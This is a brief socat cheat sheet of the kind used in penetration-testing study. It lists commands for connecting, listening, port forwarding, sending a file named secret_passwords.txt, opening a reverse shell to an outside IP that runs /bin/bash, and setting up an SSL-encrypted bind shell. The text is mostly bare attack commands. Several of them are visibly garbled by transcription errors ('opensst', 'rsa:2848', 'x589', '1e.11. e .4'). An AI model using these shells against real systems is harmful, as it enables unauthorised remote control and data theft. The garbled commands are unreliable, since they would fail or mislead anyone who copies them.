# Socat

## NetCat Vs Socat

<pre class="language-bash"><code class="lang-bash"><strong>#To Connect
</strong><strong>kali@kali:~$ nc &#x3C;remote server's ip address> 88
</strong>kali@kali:~$ socat - TCP4: &#x3C;remote server's ip address>:88

#To Listen
kali@kali:~$ sudo nc -lvp localhost 443
kali@kali:-$ sudo socat TCP4-LISTEN:443 STDOUT
</code></pre>

## Port Forward

```bash
socat TCP-LISTEN:<PortToListen>,fork TCP:<ForwaredIP>:<ForwaredPort>
```

## Socat File Transfers

```bash
kali@ka1i:~$ sudo socat TCP4-LISTEN:443,fork file:secret_passwords.txt

C:\Users\SM> socat TCP4:18.11.8.4:443 fi\e:received_secret_passwords.txt,create
```

## Socat Reverse Shells

```
socat -d -d TCP4-LISTEN:443 STDOUT

socat TCP4:18.11.8.22:443 EXEC:/bin/bash
```

## Socat Encrypted Bind Shells

```bash
kali@kali :~$ opensst req -newkey rsa:2848 -nodes - keyout bind_shett.key - x589 -days 362 -out bind_she\t.crt

kali@kali:~$ sudo socat OPENSSL-LISTEN:443,cert=bind_shett.pem,verify=e,fork EXEC:/bin/bash

C:\Users\SM> socat - OPENSSL:1e.11. e .4:443,verify=8

```
